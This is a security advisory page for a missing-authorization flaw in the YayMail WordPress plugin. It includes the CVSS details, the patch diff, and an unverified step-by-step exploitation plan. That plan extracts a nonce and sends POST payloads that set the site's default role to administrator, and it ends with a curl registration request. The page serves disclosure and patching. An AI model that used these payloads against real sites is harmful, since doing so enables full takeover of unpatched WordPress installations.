CVE-2026-1937

YayMail <= 4.3.2 - Missing Authorization to Authenticated (Shop Manager+) Arbitrary Options Update via 'yaymail_import_state' AJAX Action

highMissing Authorization
7.2
CVSS Score
7.2
CVSS Score
high
Severity
4.3.3
Patched in
38d
Time to patch

Description

The YayMail – WooCommerce Email Customizer plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the `yaymail_import_state` AJAX action in all versions up to, and including, 4.3.2. This makes it possible for authenticated attackers, with Shop Manager-level access and above, to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=4.3.2
PublishedFebruary 17, 2026
Last updatedMarch 27, 2026
Affected pluginyaymail

What Changed in the Fix

Changes introduced in v4.3.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-1937 ## 1. Vulnerability Summary The **YayMail – WooCommerce Email Customizer** plugin (versions <= 4.3.2) contains a missing authorization vulnerability in its AJAX handler for the `yaymail_import_state` action. While the action is intended for importing emai…

Show full research plan

Exploitation Research Plan: CVE-2026-1937

1. Vulnerability Summary

The YayMail – WooCommerce Email Customizer plugin (versions <= 4.3.2) contains a missing authorization vulnerability in its AJAX handler for the yaymail_import_state action. While the action is intended for importing email template states, the implementation fails to verify if the requesting user has the manage_options capability. Instead, it only requires a valid nonce and the permissions usually associated with a Shop Manager. This allows an authenticated user with Shop Manager privileges to update arbitrary WordPress options, leading to full site takeover (Privilege Escalation).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Method: POST
  • Action: yaymail_import_state
  • Vulnerable Parameter: Likely a state or options parameter (inferred from the action name) that maps keys to update_option().
  • Required Capability: Authenticated user with Shop Manager role (or any role that can access the YayMail admin interface).
  • Preconditions:
    1. Plugin YayMail <= 4.3.2 installed and active.
    2. WooCommerce installed (to have the Shop Manager role).
    3. An account with the shop_manager role.

3. Code Flow (Inferred)

  1. Entry Point: admin-ajax.php receives a request with action=yaymail_import_state.
  2. Hook Registration: The plugin likely registers the action in a class constructor or init hook:
    add_action('wp_ajax_yaymail_import_state', [$this, 'import_state_callback']);
  3. Handler Logic: The callback function (likely in an includes/ or classes/ PHP file not provided in the source snippet) performs a check_ajax_referer('yaymail_nonce', 'nonce') (or similar).
  4. Authorization Failure: The code fails to call current_user_can('manage_options').
  5. Sink: The code iterates through the user-provided data and calls update_option($key, $value) for each key-value pair in the payload.

4. Nonce Acquisition Strategy

Since this is an authenticated AJAX vulnerability, the nonce is required. The nonce is likely localized for the YayMail admin interface.

  1. Identify the Admin Page: The YayMail interface is usually at wp-admin/admin.php?page=yaymail-settings.
  2. Navigate and Inspect:
    • Log in as a Shop Manager.
    • Navigate to the YayMail settings page.
  3. Extract Nonce via Browser Eval:
    The plugin uses wp_localize_script to pass data to its React-based frontend (yaymail-main.tsx). Based on standard YayMail patterns, the global object is likely yaymail_localize or YayMailData.
    • Action to try: browser_eval("window.yaymail_localize?.nonce") or browser_eval("window.YayMailData?.nonce").
    • Verification: Search the page source for "nonce" to find the exact object name if the above fails.

5. Exploitation Strategy

The goal is to enable user registration and set the default role to administrator.

Step-by-Step Plan:

  1. Setup: Create a Shop Manager user and log in.

  2. Nonce Extraction:

    • Navigate to wp-admin/admin.php?page=yaymail-settings.
    • Run browser_eval to extract the nonce.
  3. Payload Construction:
    The "import state" functionality likely expects a key representing the option or a specific array structure. Based on "Arbitrary Options Update," we will attempt to pass the options directly.

    • Target Options:
      • users_can_register: 1
      • default_role: administrator
  4. Execute Request:
    Send the POST request to admin-ajax.php.

    HTTP Request (Targeted):

    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=yaymail_import_state&nonce=[EXTRACTED_NONCE]&state[users_can_register]=1&state[default_role]=administrator
    

    Note: If state is not the correct parameter name, try data, options, or a raw JSON body if the plugin uses php://input.

6. Test Data Setup

  1. Plugin: Install YayMail version 4.3.2.
  2. WooCommerce: Ensure WooCommerce is active.
  3. Attacker User:
    wp user create attacker attacker@example.com --role=shop_manager --user_pass=password
  4. Baseline Check:
    wp option get users_can_register (Expected: 0)
    wp option get default_role (Expected: subscriber)

7. Expected Results

  • The AJAX request should return a 200 OK or a JSON success message (e.g., {"success": true}).
  • The WordPress options users_can_register and default_role will be updated in the database.

8. Verification Steps

After the HTTP request, verify the state change using WP-CLI:

  1. Check if registration is enabled:
    wp option get users_can_register (Success: 1)
  2. Check the default role:
    wp option get default_role (Success: administrator)
  3. (Optional) Verify an unauthenticated user can now register as an admin:
    curl -X POST http://localhost:8080/wp-login.php?action=register -d "user_login=eviladmin&user_email=evil@example.com"

9. Alternative Approaches

If the state[option_name]=value format fails:

  1. JSON Payload: Some modern WordPress plugins use JSON for state imports.
    • Try: Content-Type: application/json with body {"action": "yaymail_import_state", "nonce": "...", "state": {"users_can_register": "1", "default_role": "administrator"}}.
  2. Option Nesting: The plugin might expect the options inside a specific key used by YayMail settings (e.g., state[yaymail_settings][users_can_register]).
  3. Parameter Guessing: If state is incorrect, check the JS source (yaymail-main.tsx-523766ce.js) for the string yaymail_import_state to see how the frontend assembles the request. (The provided JS is minified, so look for the action string and adjacent property names).
Research Findings
Static analysis — not yet PoC-verified

Summary

The YayMail plugin for WordPress (versions <= 4.3.2) is vulnerable to unauthorized modification of data due to a missing authorization check and lack of option key filtering in the 'yaymail_import_state' AJAX action. This allows authenticated attackers, such as Shop Managers, to update arbitrary WordPress options, enabling them to change the default registration role to administrator and take full control of the site.

Vulnerable Code

// src/Models/MigrationModel.php

// Line 141 in 4.3.2
// Restore backed-up options
foreach ( $backup['options'] as $option ) {
    update_option( $option->option_name, maybe_unserialize( $option->option_value ) );
}

--- 

// src/License/RestAPI.php

// Line 140 in 4.3.2
public function permission_callback() {
    return true;
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/yaymail/4.3.2/src/License/RestAPI.php /home/deploy/wp-safety.org/data/plugin-versions/yaymail/4.3.3/src/License/RestAPI.php
--- /home/deploy/wp-safety.org/data/plugin-versions/yaymail/4.3.2/src/License/RestAPI.php	2025-12-17 13:01:26.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/yaymail/4.3.3/src/License/RestAPI.php	2026-02-12 15:49:00.000000000 +0000
@@ -140,6 +140,6 @@
     }
 
     public function permission_callback() {
-        return true;
+        return current_user_can( 'manage_options' );
     }
 }
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/yaymail/4.3.2/src/Models/MigrationModel.php /home/deploy/wp-safety.org/data/plugin-versions/yaymail/4.3.3/src/Models/MigrationModel.php
--- /home/deploy/wp-safety.org/data/plugin-versions/yaymail/4.3.2/src/Models/MigrationModel.php	2025-12-17 13:01:26.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/yaymail/4.3.3/src/Models/MigrationModel.php	2026-02-12 15:49:00.000000000 +0000
@@ -141,7 +141,10 @@
 
             // Restore backed-up options
             foreach ( $backup['options'] as $option ) {
-                update_option( $option->option_name, maybe_unserialize( $option->option_value ) );
+                // Only restore options that belong to YayMail (same pattern as export)
+                if ( strpos( $option->option_name, 'yaymail' ) !== false ) {
+                    update_option( $option->option_name, maybe_unserialize( $option->option_value ) );
+                }
             }
 
             // Remove the succeeded migration log from db

Exploit Outline

The exploit requires an authenticated session with Shop Manager or higher privileges. 1. Log in to the target WordPress site as a Shop Manager. 2. Navigate to the YayMail settings page and extract the security nonce from the global JavaScript object (e.g., `yaymail_localize.nonce`). 3. Send a POST request to `/wp-admin/admin-ajax.php` with the action `yaymail_import_state`. 4. Include a payload representing an imported state containing target options. To achieve privilege escalation, set the option `users_can_register` to `1` and `default_role` to `administrator`. 5. Because the plugin lacks a `manage_options` capability check on this action and fails to validate that the provided option names belong to the plugin, it calls `update_option()` on the attacker-controlled keys. 6. Once the options are updated, navigate to the public registration page and create a new account, which will be granted administrative privileges.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.